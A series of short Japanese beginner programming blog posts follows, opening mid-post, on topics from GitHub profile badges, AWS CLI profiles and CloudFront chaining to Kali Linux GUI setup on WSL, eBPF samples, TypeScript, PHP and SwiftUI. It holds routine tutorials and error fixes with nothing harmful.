![IMG_1044.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/866543/70a2772c-046b-b59d-2290-e991a7cd2f5c.jpeg)

頭部分を印刷してみたり
![IMG_1052.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/866543/01a24f35-5f2a-7818-025c-c783441128e8.jpeg)


胴体を印刷してみたり

かなり失敗してフィラメントもこの段階で3キロ以上消費してしまいました。
Ankerのプリンターはかなり早いほうでも頭のパーツは1個印刷するのに1日かかったりするので結構失敗すると精神的にきつい。。。（フィラメントもその分大量消費するし、、）

# 最後に
今後は自走する部分だったりソフト側を放置しているのでそこをゴリゴリ進めて何かのイベントでお披露目したいなって妄想しています！
Githubのプロフィールページを作成し、Stats Cardを追加する。


# はじめに
 Githubを飾ってアピールする方法を少しメモ


# 成果物

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821152/f7ddcb34-f729-2386-3e5b-7b863c079bcd.png)


# アカウント名のレポジトリを作成する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821152/4687cc6f-9c41-ca0f-f7b7-1c99589c5c2b.png)

# Techバッチを追加する
```markdown:markdown
<h3 align="center">🛠 Tech Stack 🛠</h3>

<p align="center"> Techs that I've used at least once </p>

<p align="center">
  <img src="https://img.shields.io/badge/Python-3766AB?style=flat-square&logo=Python&logoColor=white"/></a>&nbsp 
  <img src="https://img.shields.io/badge/Java-007396?style=flat-square&logo=Java&logoColor=white"/></a>&nbsp 
  <img src="https://img.shields.io/badge/C++-00599C?style=flat-square&logo=C%2B%2B&logoColor=white"/></a>&nbsp 
  <img src="https://img.shields.io/badge/Go-11B48A?style=flat-square&logo=Go&logoColor=white"/></a>&nbsp 
  <img src="https://img.shields.io/badge/Javascript-ffb13b?style=flat-square&logo=javascript&logoColor=white"/></a>&nbsp 
</p>

```

- バッチとアイコンを下のサイトを参考にしながら追加する。

## バッチ
https://shields.io/

## アイコン
https://simpleicons.org/

# Gitgub statを追加する

## GitHub Stats Card を追加する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821152/a4aae8a8-87c3-9688-c162-d4cd4221ddd0.png)

```
![Anurag's GitHub stats](https://github-readme-stats.vercel.app/api?username=****&hide=contribs,prs&theme=tokyonight)
```
- ****部分に自分のgithubアカウントを入力し、hide部分に隠したい項目を入力する。
- サイトを参考にしてテーマは色々と変更が可能

## Language statsを追加する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2821152/1325a39d-9143-1953-25ec-3b79c0dfd268.png)

```
![Top Langs](https://github-readme-stats.vercel.app/api/top-langs/?username=****&layout=compact&hide=html&theme=tokyonight)
```
- ****部分に自分のgithubアカウントを入力し、hide部分に隠したい項目を入力する。
- 私はHTMLは表示したくなかったので、htmlは非表示とした。

## Github Stat 参考サイト
https://github.com/anuraghazra/github-readme-stats

# 終わりに
  これで飾りはできたけど、少し盛り過ぎている感じはあるので、より仕事で成果を出して行きたい。
お題抽選ツール①

***お題抽選ツール***

お正月ということでお題抽選ツールを開発しています。

今回は入力と配列をランダムに並べる部分を実装しました

```Python3
####################################################
###   お題抽選ツール
####################################################

#ランダムモジュールを呼び出す
import random
#配列を定義する
array1 = []
array2 = []
#人数変数
N = 0
#正の整数が入力されるまで繰り返す
while True:
  try:
    N = int(input("登録人数を指定してください\n"))
    if N <= 0:
      raise ValueError("error!")
    else:
      break
  except ValueError as e:
    print("文字列、小数、負の整数、0を入力しないでください")
    print("正の整数を入力してください")

#配列に名前を登録する
for i in range(0,N):
  name = input("名前を入力してください\n")
  array1.append(name)

#配列にお題を登録する
for j in range(0,N):
  title = input("プレゼンのお題を入力してください\n")
  array2.append(title)

#配列の要素をランダムに並べる
random_array1 = random.sample(list(set(array1)),N)
random_array2 = random.sample(list(set(array2)),N)

#ランダムに並べた名前を1行ずつ出力する。
for man in list(random_array1):
  print(man)

#ランダムに並べたお題を1行ずつ出力する
for title in list(random_array2):
  print(title)
```
【Django】TypeErrorに遭遇した

はじめてのDjangoアプリ作成その4でエラーに遭遇した。
エラーメッセージは
```
TypeError at /polls/1/vote/
cannot unpack non-iterable int object
```
というもの。
結論として、原因は`question = get_object_or_404(Question, question_id)`で`pk=question_id`とせず直で渡していたためであった。
直とDjangoがKeyと認識できなかったものと推測。
なおコードは以下の通り。
```
def vote(request, question_id):
    question = get_object_or_404(Question, question_id)
    try:
        selected_choice = question.choice_set.get(pk=request.POST["choice"])
    except (KeyError, Choice.DoesNotExist):
        return render(
            request,
            "polls/detail.html",
            {
                "question": question,
                "error_message": "You didn't select a choice.",
            },
        )
    else:
        selected_choice.votes += 1
        selected_choice.save()
        return HttpResponseRedirect(reverse("polls:results", args=(question.id,)))
```
Railsのエラー解消


プログラミングはエラー分との戦いです
ただエラー文はHELP(手助け)してくれるものです。
エラーが出てガッカリしず、成長できるものとして捉えましょう！

### 目的
- デバック方法を理解
- 仮説と検証の習慣

webアプリの開発中は、エラーが頻繁に起きます。
エラー解決を重ねることで、Railsの全体像や仕組みの理解が深まります

「No methodError in Tweets#index」
「定義されていないメソッドが呼び出された」というエラーが、
Tweetsコントローラーのindexアクションが実行されたタイミングで
生じたことを表すエラー内容がわかったので、解決の仮説をたて修正し、検証します。
仮説が建てられない場合は、その他の情報を加味しながら仮説をたて、
検証を行うくり返の作業になります

#### デバック
プログラミングの間違い(バグ)を見つけて、手直しすること
#### pry-rails
Gem
デバックツールに属し、作業の際にバグの有無を確認したり、処理を止めてソースコードを正しいかを確認できるものです。
`binding.pry`という記述をソースコードの中にすると、`binding.pry`が存在する箇所でRailsの処理を一時停止し、その状態でコンソールを起動できます
```ruby
gem 'pry-rails'
```
AWS CLIで複数のアカウントを切り替える

# 概要
- 仕事でAWSを使っているのですが、AWS CLIを使って複数のアカウントを切り替える方法でハマったのでメモ（**かなり初歩的な内容です**）
- 以下のような状況を想定
  - AWS CLIを使って複数のアカウントを切り替えたい

# ユースケース
- AWS環境が以下のような構成になっている
  - 本番環境（`production`）
  - ステージング環境(`staging`)
  - 開発環境(`development`)
- それぞれの環境に対して、AWS CLIを使って操作したい
- AWS SSOアカウントが既に各環境に作成されている
  - AWS SSOアカウントには、それぞれの環境に対応したロールが作成されている
  - 例えば、本番環境に対応したロールは、`arn:aws:iam::123456789012:role/production-admin`のようなARNが割り当てられている
  - 詳しくは、[AWS SSOのドキュメント](https://docs.aws.amazon.com/ja_jp/singlesignon/latest/userguide/what-is.html)を参照

# それぞれの環境ごとのProfileを作成する
- `aws configure`というコマンドを使って、それぞれの環境ごとのProfileを作成する

```shell
$ aws configure --profile production
```
![img.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173505/183ba973-8519-b21b-4ac4-dfab25c0a501.png)


- 作成すると、`~/.aws/credentials`に設定が保存される

```shell
$ cat ~/.aws/credentials

[default]
aws_access_key_id = AKIAxxxxxxxxxxxxxxx
aws_secret_access_key = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[production]
aws_access_key_id = AKIAxxxxxxxxxxxxxxx
aws_secret_access_key = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[staging]
aws_access_key_id = AKIAxxxxxxxxxxxxxxx
aws_secret_access_key = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[development]
aws_access_key_id = AKIAxxxxxxxxxxxxxxx
aws_secret_access_key = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
```

# 複数のprofileを使用している場合にデフォルトで使用するprofileを変更する
- 以下コマンドを実行すると、デフォルトで使用するprofileを変更できる

```shell
$ export AWS_PROFILE=production -- ここではproductionをデフォルトにする
```

# profileを指定してコマンドを実行する
- 以下のように、`--profile`オプションを使って、profileを指定してコマンドを実行することも可能

```shell
$ aws s3 ls --profile production
```

# まとめ
- `aws configure`コマンドを使って、それぞれの環境ごとのProfileを作成する
- `export AWS_PROFILE=production`コマンドを使って、デフォルトで使用するprofileを変更する
- `--profile`オプションを使って、profileを指定してコマンドを実行することも可能
- もっとAWS CLIを勉強しないとダメですね・・・

# 参考
- [AWSのCLIを設定してみる](https://zenn.dev/mo_ri_regen/articles/aws-cli-setting)
- [AWS CLI を設定する環境変数](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-configure-envvars.html)
AIの現況と未来：Perspectives on the State and Future of Deep Learning - 2023～日本語解説まとめ～

## はじめに

著名な研究機関の専門家7名と、AI技術の最前線で活躍するChatGPTが集い、人工知能（AI）技術の「現在」と「未来」について深い議論を交わした「Perspectives on the State and Future of Deep Learning - 2023」の日本語解説です。

## Abstract

https://hamaruki.com/perspectives-on-the-state-and-future-of-deep-learning-2023-japanese-explanation-of-the-abstract


## Interlocutor

https://hamaruki.com/perspectives-on-the-state-and-future-of-deep-learning-2023q1-japanese-explanation/#toc1

## Q1:最大の未解決問題

- **最も取り組むべきだが、まだ取り組まれていない大きな問題（Biggest problem）**とは何か、またはその逆は何か。

https://hamaruki.com/perspectives-on-the-state-and-future-of-deep-learning-2023q1-japanese-explanation/#toc22

## Q2:ディープラーニングの理解について

- なぜ私たちはディープラーニングの理解を深めていないのか？今後進展するのだろうか？仮に深層学習の理論が構築されたとして、それは実務家やエンジニアにとって有用なのだろうか？実務家やエンジニアに役立つのだろうか？

https://hamaruki.com/perspectives-on-the-state-and-future-of-deep-learning-2023-japanese-commentary-on-q2-understanding-deep-learning-japanese/


## Q3:ディープラーニングは解釈可能になるのか？

- その必要があるのだろうか？LLMは解釈可能である必要があるのか？
- LLMがテキストで説明できるのであれば解釈可能である必要があるのだろうか？

https://hamaruki.com/future-of-deep-learning-2023-q3-will-deep-learning-be-interpretable-japanese-commentary-on-the/

## Q4:ディープラーニングは学術なベンチマーキングを超えて進化しているのか？

https://hamaruki.com/future-of-deep-learning-2023-q4-is-deep-learning-evolving-beyond-academic-benchmarking-a-japanese-language-commentary-on-the/

## Q5: Transformers は将来の方向性として正しいのか？

https://hamaruki.com/perspectives-on-the-state-and-future-of-deep-learning-2023-q5-is-transformers-the-right-future-direction-japanese-commentary-on-the/

## Q6:学問界は困難に直面しているのか？

https://hamaruki.com/perspectives-on-the-state-and-future-of-deep-learning-2023-q6-is-academia-facing-difficulties-japanese-commentary-on-the/


## 参考サイト

https://arxiv.org/abs/2312.09323
VSCodeのdevcontainerでSpring Bootチュートリアル

## 前提
- Windows11 wsl2 インストール済み
- wsl2内にdocker インストール済み
- VSCode インストール済み

### バージョン
- VSCode 1.85.1
- Spring Boot 3.2.1
- Java eclipse-temurin 21
- docker 24.0.7
- docker compose 2.21.0

## 手順
作業用のフォルダを作成し、VSCodeで開く

```bash
mkdir -p ~/workspace/try_springboot3
code ~/workspace/try_springboot3
```

### devcontainer設定
Dockerfile, compose.yml を作成する

```Dockerfile
FROM eclipse-temurin:21-jdk-jammy
```

```compose.yml
services:
  web:
    build:
      dockerfile: Dockerfile
```

- vscodeのコマンドパレット(Ctrl+Shift+P)でAdd Dev Container Configuration Filesを選択
    - "From compose.yml"を選択
    - "Select Features"は無しでOK
    - "Reopen in Container"

- Extensionsで下記を検索して、歯車マークの"Add to devcontainer.json"を選択
    - Extension Pack for Java
    - Spring Boot Extension Pack
- devcontainer.jsonを保存してRebuild（コマンドパレットでRebuild Container）

### プロジェクト作成
- コマンドパレットで"Spring Initializr: Create a Gradle Project"
    - Spring Boot version: 3.2.1
    - language: Java
    - group id: com.example
    - artifact id: demo
    - packaging type: Jar
    - Java version: 21
    - dependencies: Spring Web, Spring Boot Actuator
    - OK
        - demoフォルダが作成される

demoフォルダの中身をワークスペース直下に移動させる

```bash
mv demo/* demo/.[^.]* ./
rmdir demo
```

### java.home設定
- .vscode/settings.jsonに下記を追記
    - `which java` の実行結果は `/opt/java/openjdk/bin/java` だったので bin の上のディレクトリを指定
```settings.json
"java.jdt.ls.java.home": "/opt/java/openjdk/"
```

### アプリ修正
src/main/java/com/example/demo/DemoApplication.javaを開き、下記を追記する。アノテーションはimportしておく
```java
	@GetMapping("/hello")
	public String hello(@RequestParam(value = "name", defaultValue = "World") String name) {
		return String.format("Hello %s!", name);
	}
```

DemoApplicationクラスに@RestControllerアノテーションをつける
```java
@SpringBootApplication
@RestController
public class DemoApplication {
```

### 起動
VSCodeのサイドバーのSpring Boot Dashboardの　APPS>demo>Run をクリック

ブラウザで http://localhost:8080/hello を開き、Hello Worldが表示されたら成功

## 参考
- https://spring.io/quickstart/
バッククォート(`)で文字列を囲った際のJavaScriptの挙動について

TypeScriptのソースコードを読んでいると、文字列を囲う際に、シングルクォート `'` やダブルクォート `"` ではなく、バッククォート `` ` ``  を使うことがあります。

[JavaScript Primer](https://jsprimer.net/basic/data-type/#string) によると
バッククォート`` ` ``で囲んだ範囲を文字列とするリテラルのことを **テンプレートリテラル** と呼ぶそうです。
ES2015から導入されたリテラルで、TypeScriptを書くなら頻繁に目にしてもおかしくないリテラルですね。

## (本題)テンプレートリテラルの主な特徴

1. 複数行の文字列をそのまま書くことができる
2. 文字列内で `${変数名}` と書くと、変数の値を埋め込むことができる

### 1.複数行の文字列をそのまま書くことができる
```JavaScript: sample01.js
`複数行の
文字列を
入れたい`; // => "複数行の\n文字列を\n入れたい"
```

### 2.文字列内で `${変数名}` と書くと、変数の値を埋め込むことができる
```JavaScript: sample02.js
const str = "文字列";
console.log(`これは${str}です`); // => "これは文字列です"
```

## (補題)タグ付きテンプレートリテラルについて

私が当面の問題を解決するにあたってのテンプレートリテラルの挙動の整理は、本題で十分なのですが、リファレンスを読んでいると、

```
(テンプレートリテラル)⊂(文字列リテラル)
```

という理解は厳密には誤りであるらしいことがわかりました。補足として参考資料を掲載します。

[JavaScript Primer](https://jsprimer.net/basic/data-type/#string) では、以下のように紹介されています。

>文字列リテラル共通のルールとして、同じ記号で囲んだ内容を文字列として扱います。 文字列リテラルとして次の3種類のリテラルがありますが、その評価結果はすべて同じ"文字列"になります。
>```JavaScript
>console.log("文字列"); // => "文字列"
>console.log('文字列'); // => "文字列"
>console.log(`文字列`); // => "文字列"
>```

[MDN](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Template_literals) によると

>タグなしテンプレートリテラルは文字列となるため、文字列の補間に便利です（エスケープされていない改行が許されるため、複数行の文字列も可能です）。

とあるように、タグなしテンプレートリテラルの場合は文字列リテラルとして確定する模様。

しかし、タグ付きの場合は、文字列であるとは限りません。

残りはこちらを参照。
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Template_literals#%E3%82%BF%E3%82%B0%E4%BB%98%E3%81%8D%E3%83%86%E3%83%B3%E3%83%97%E3%83%AC%E3%83%BC%E3%83%88
eBPFのサンプルを動かしてみる

# 環境設定
BCCのリポジトリをGitクローンする

```bash
cd /usr/local/src
git clone git clone https://github.com/iovisor/bcc.git
```

# tracing
## tcpv4connect.py
プログラムを起動する
```bash
python3 /usr/local/src/eBPF/bcc/examples/tracing/tcpv4connect.py
```
別画面から`curl https://google.com`を実行する
```bash
PID    COMM         SADDR            DADDR            DPORT
1843   curl         172.31.xx.xx     172.253.xx.xx   443
```
別画面から`curl http://localhost`を実行する
```bash
PID    COMM         SADDR            DADDR            DPORT
1847   curl         127.0.0.1        127.0.0.1        80
```
# Networking
## http_filter
```bash
python3 /usr/local/src/eBPF/bcc/examples/networking/http_filter/http-parse-simple.py
```
別画面から`curl http://google.com`を実行する
```bash
GET / HTTP/1.1
HTTP/1.1 301 Moved Permanently
```
CloudFrontの多段構成

# 概要
CloudFrontの多段構成を構築運用した際の、記録を残します。

# 内容
既に運用しているCloudFront+αの環境において、既存環境（CloudFront）を手前に置きつつ、全く別な環境をさらにCloudFrontを利用して組みたかったので
いわゆる「CloudFront多段構成」をした際のメモを残しました。

## 構成

次のような構成例で考えます。
![aws-cloudfront-cloudfront.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406764/7201d290-4693-9983-c117-340f0a1e690d.png)

※AWSアーキテクチャ図作成は[こちら](https://aws.amazon.com/jp/architecture/icons/)からお好みのツールを

以下に構築・設定メモを残します。

### ドメイン購入＋Route53 HostedZoneでの用意
購入したドメインを使用できるように設定しておきます。
さらに、ACMを`*.example.com`でカバーしておきます。
忘れがちですが、CloudFrontはバージニアリージョンであることに注意しましょう。

### ALBの用意
今回は配下のサーバーを割愛して固定レスポンスにします。
固定レスポンスは200で返すように設定します。

### CloudFrontの用意
1段目のCloudFrontは最も手前にあり、`www.example.com`とします。
※CloudFrontのCNAME設定+Aレコード登録

2段目のCloudFrontは、サブドメインなどで名前解決せずそのままでも良いのですが、わかりやすく今回は`behind-cf.example.com`とします。
※CloudFrontのCNAME設定+Aレコード登録

## 2段目のCloudFrontに、ALBをOrigin登録
CloudFrontの配下には今回ALBをおいてルーティングさせたいのでOrigin登録、及びBehaviorにも登録します。

尚、ALBもAレコード登録している際は、カスタムドメイン名でCloudFrontにOrigin登録をしないとACMがカバーされないことにも注意が必要です（502になります）

## 1段目のCloudFrontに、2段目のCloudFrontをOrigin登録
Origin登録時ですが、登録名はそのままカスタムドメイン名`behind-cf.example.com`をそのまま入れれば済みます。
![スクリーンショット.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406764/1eae0eb9-5356-edf6-6705-0ab9d29164ec.png)

Behavior設定では、今回の場合`/service2024`のパスの場合後ろのサービスにルーティングさせたいので、パスも指定します。Behaviorの優先順位も気をつけましょう
![スクリーンショット 2024-01-03 21.15.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406764/d137b762-5bab-3a50-f830-14181e934a29.png)


## 気になったことに関して
AWSサポートの方に確認+調査したメモです。

### CloudFrontはどこまで多段でできるのか？
**2段**までは可能ということでした。
　
### 2段構成時に気をつけることはあるか？
1段目のCloudFrontから2段目のCloudFrontに、Hostヘッダーを転送することはできません。
Apache HTTP ServerのName-based VirtualHostのように、CloudFront自体が**Hostヘッダーの値に基づいて**ルーティング先ディストリビューションを決定しているので、Hostヘッダーを使用すると結果としてループ処理となるため、使用しないようにとの事でした。一定の状況下では注意する必要があります（403になります）

## 運用上のTips

### アクセス制御
アクセス制限やWAFをかける際は、WAFも安くはないですし最低限で済ませるためにまずはPublicにおいてある各リソースの状況を確認しましょう。
例えば今回の例だと、最も手前にあるCloudFront、２段目のCloudFront、ALBがパブリックにあるので、AWSのIPに絞ればよいのか？WAFをかけて公開するのか？などの対策を練ります。
　
### メンテナンスモード
工夫次第で様々な実装方法があります。
いまはCloudFront FunctionsでIP制限をかけて開発者以外をメンテナンスページに遷移させたり、特定パスに遷移させてALB側でメンテナンスページに遷移させることも出来ます（Amazon CloudFront KeyValueStore も神アプデなので使えそう）
　
今回の構成であれば、後ろにあるマイクロサービスのみをメンテナンスモードにするケースも対応できるようにしておき、可能な限り少ない手順かつ短い時間で対応できるようにすることでトラブルを最小限にすることを心がけましょう。


# まとめ

- CloudFrontを2段で実装する際は、1段目=手前にあるCloudFrontに**2段目のCloudFrontをOrigin登録して使用する**。登録時のオリジンドメイン名は、代替ドメインでもデフォルト名(xxxxxxx.cloudfront.net)でもどちらでも良い
　
- **1段目から2段目のCloudFrontへの設定に関しては、ホストヘッダーを転送しないよう注意が必要**

という2点が要点でした。

AWSでは様々な構成パターンがあります。

今回の内容も。背景次第で代替手段は考えられますし、状況を踏まえたベストプラクティスを設計していくと良さそうです。

今回のユースケースとしては例えば、Webアプリケーションにおいて同ドメイン内のサブサービス（マイクロサービス）を展開する際に、全く別なアカウントでリソースを管理・展開するような背景のときに有効です。

ありがとうございました。
【WSL】真っ白なKali LinuxをGUI化したい！

# 初めに
今回はLinuxディストリビューションの一種である、Kali LinuxをGUI化します。
色々事情あって、何度もKaliを構築し直すのですがその度に忘れるのでもう備忘録化しよかなと。

# 環境

# ホストOS
* OS : Windows 10 22H2

# Kali Linux
本当に真っ白。
power shellで
```powershell
wsl --install kali-linux
```
と入力してアカウント作った段階です。

# やり方
## 手順1　apt更新
```bash
sudo apt update -y
```
とりあえず、更新しないと何も始まらない。

## 手順2　Win-kexのインストール
Windows上でGUIが使えるWin-Kexをインストールします。
```bash
sudo apt install kali-win-kex -y
```

インストールに要する時間は長いので少し待ちましょう。

## 手順3　Win-kexを用いたGUI起動
### 手順3-1　kex起動
```bash
kex --win -s -m
```
を実行してみます。
パスワードの設定などはご自身で設定してください

### 手順3-2　パスワード入力
パスワード設定が完了すると以下のようなウィンドウが立ち上がります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3355973/0fddc032-8e3d-01f2-4f34-77c72cdb82ac.png)
上記には、手順3-1で設定したパスワード設定を入力します。
そして"OK"を押下します。

# 手順4　起動完了
ここまで行うと以下のように起動が完了します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3355973/1e8da618-e6af-1552-7360-f75e12811977.png)

# Win-kexの扱い方
* Win-kexの起動
```bash
kex --win -s -m
```

* Win-kexの状態確認
```bash
kex status
```

* Win-kexのキル
```bash
kex kill
```
【ゼロから学ぶNuxt3×Typescript】⑧Typescriptの型定義

Nuxt３×TypeScript 学習
下記の参考サイトを見ながら、Nuxt３とTypescriptを学ぶ第8回。

▼　神回|vue3.js nuxt3 typescriptどうやる？【ゼロから解説】

https://field.asia/%E7%A5%9E%E5%9B%9Evue3-js-nuxt3-typescript%E3%81%A9%E3%81%86%E3%82%84%E3%82%8B%EF%BC%9F%E3%80%90%E3%82%BC%E3%83%AD%E3%81%8B%E3%82%89%E8%A7%A3%E8%AA%AC%E3%80%91/

あけましておめでとうございます🎍
今年もこつこつがんばります。

前回はこちら👇

https://qiita.com/sakuc47/items/fe5ed6470264079f55c8

第1回はこちら👇

https://qiita.com/sakuc47/items/2770d40720070b682ee9

### Typescriptの型定義

今回はTypescriptエラーを解消します。
作業中、jobs/index.vueにてこんなエラーが出ていました。
![スクリーンショット 2023-12-30 15.48.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3524465/71ef9d80-70b2-eae4-6a76-e9a4d99a3109.png)

https://teratail.com/questions/cr75ywdos3318t

参考サイトの終盤、「ではvue3 nuxt3をtypescriptで書く解説をします。」というあたりで解説がありました。



### 1.変数の型定義

```ts
let name: string = "John";
```
`name`という変数があり、その型が文字列（`string`)であることを示している。

ひとつひとつ定義すると下記のように冗長になる。

```ts
type JobId = number;
type JobTitle = string;
type JobDescription = string;
type JobCover = string;
type JobCreatedAt = Date;
```

下記であれば簡潔になり、他の部分で必要な場合に型定義を再利用できる。

```ts
type Job = {
  id: number,
  title: string,
  description: string,
  cover: string,
  createdAt: string,
}
```

エラー消えた👏

### 参考サイト

https://qiita.com/NeGI1009/items/a98c6a76b0c4f3bc18b3


https://js.studio-kingdom.com/typescript/


https://qiita.com/hanahagewanko/items/9d1d0246a80ef52e8f27
【empty()関数】0がnull扱いになる事にハマった

# きっかけ
以下のようなステータスのプルダウンで検索処理を実装した時にハマった
| 有効 | 無効 |
|----|----|
|0|1|
# 状況
プルダウンでりんごを選択した時に検索出来ない
```php
<select name="fruit">
    <option value = "0">りんご</option>
    <option value = "1">れもん</option>
    <option value = "2">メロン</option>
</select>
<input type="submit"name="submit"value="検索"/>
```
# 原因
empty()関数で0はnull扱いだった
りんごを選択した時、この条件式ではfalseになるため検索がかからなかった
```php
if(!empty($all["fruit"])){
}
```
# 解決策
ひとまず以下の条件式で動いたが、issetを使うとか、valueの値に0を使わないほうがよかったかも。

```php
if($all["fruit"] != ""){
}
```
【Untiy×MessagePipe】生成したものを監視する

# はじめに
今回はUnity×MessagePipeを組み合わせて、値を監視する機能を作りました。
ゲームロジックとデバッグ機能を完全に分離するためにMessagePipeを使った設計を想定しております。
また、デバッグ情報はゲームの途中で使用したいのでプレハブを生成して値を監視する方法として作成いたしました。

記事で公開する内容は下記のリポジトリで公開しております。
https://github.com/KensukeStudent/MessagePipeTest

#### MessagePipeについて

Messagepipeについてのことは他の記事でたくさん方が公開していますのでそちらをご覧ください。
MessagepipeはVContainerを元に作られているので、まずはVContainerを学習する方が理解しやすいと思います。

**参考にしやすいサイト**

MessagePipe

https://qiita.com/yoship1639/items/32ca894bda3b0db54a7b

VContainer

https://vcontainer.hadashikick.jp/ja/

# 本題
今回作った機能は、更新されるステータスが登録されたら画面に数値が表示されるものを作りました。
ゲームで言うとバフ・デバフの分量を確認するためのものとなります。

設計としては下図のような形で
・UiManagerのGameLifetimeScopeで生成したプレハブが送受信できるようにInject関数を使用して生成
・UiController側で値を監視
・Character側で値を送信

![スクリーンショット 2024-01-03 193412.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3128572/4c04ae09-9d5d-d89d-f89b-f528b2dacb7d.png)

下記の動画は実行結果になります。
ボタンを押した後にUiController側のテキストにCharacterクラスから送信されるデータが随時更新されているのを確認できると思います。

https://youtu.be/llq32tZmt_A

# 最後に
MessagePipeを使用して、生成したプレハブを監視する情報が見当たらなかったので代わりに調査して実装してみました。
何かあれば参考になればと思います。
【SwiftUI】カスタムのShapeStyleを作成する

# はじめに
私はデザインのことは分かりませんが、真っ黒や真っ白は目が疲れてしまって文字色には適していないという記事を見たことがありました。
私が見た記事は見つかりませんでしたが、同じようなことを書いてある記事はたくさんあります。

https://tomodachitokigyo.com/web/blog-fontcolor-noblack/

https://aolog.site/%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%81%A7%E4%BD%BF%E3%81%A3%E3%81%A6%E3%81%AF%E3%81%84%E3%81%91%E3%81%AA%E3%81%84%E8%89%B2%E3%80%8C%E9%BB%92000%E3%80%8D%E3%81%AE%E3%81%8A%E3%81%AF%E3%81%AA/

しかし、SwiftUIの標準で使用できる`primary`は真っ黒と真っ白です。
使うたびに分岐の処理を書くのは面倒です。
ですので、カスタムの`ShapeStyle`を実装します。

# サンプルアプリ
上が標準の`primary`で、
下がカスタムした`customPrimary`です。
|ライトモード|ダークモード|
|-|-|
|![スクリーンショット 2024-01-03 19.49.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/577a27b5-3d26-85ff-a8f6-efe82ff25aa2.png)|![スクリーンショット 2024-01-03 19.50.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/498215e0-c671-02c2-78b4-f91481e8bfea.png)|

# 実装
```swift
struct CustomPrimaryStyle: ShapeStyle {
    func resolve(in environment: EnvironmentValues) -> some ShapeStyle {
        switch environment.colorScheme {
        case .light:
            Color(red: 50 / 255, green: 50 / 255, blue: 50 / 255)
        case .dark:
            Color(red: 205 / 255, green: 205 / 255, blue: 205 / 255)
        @unknown default:
            fatalError()
        }
    }
}

extension ShapeStyle where Self == CustomPrimaryStyle {
    static var customPrimary: CustomPrimaryStyle {
        CustomPrimaryStyle()
    }
}
```

# 使い方
```swift
import SwiftUI

struct ContentView: View {
    var body: some View {
        VStack {
            Text("あいうえお")
                .foregroundStyle(.primary)
            Text("かきくけこ")
                .foregroundStyle(.primary)
            Text("さしすせそ")
                .foregroundStyle(.primary)
            Text("たちつてと")
                .foregroundStyle(.primary)
            
            Divider()
            
            Text("あいうえお")
                .foregroundStyle(.customPrimary)
            Text("かきくけこ")
                .foregroundStyle(.customPrimary)
            Text("さしすせそ")
                .foregroundStyle(.customPrimary)
            Text("たちつてと")
                .foregroundStyle(.customPrimary)
        }
        .fontWeight(.black)
    }
}
```

# おわり
この実装をすることで普通の`primary`と同様の記述方法で書くことができます。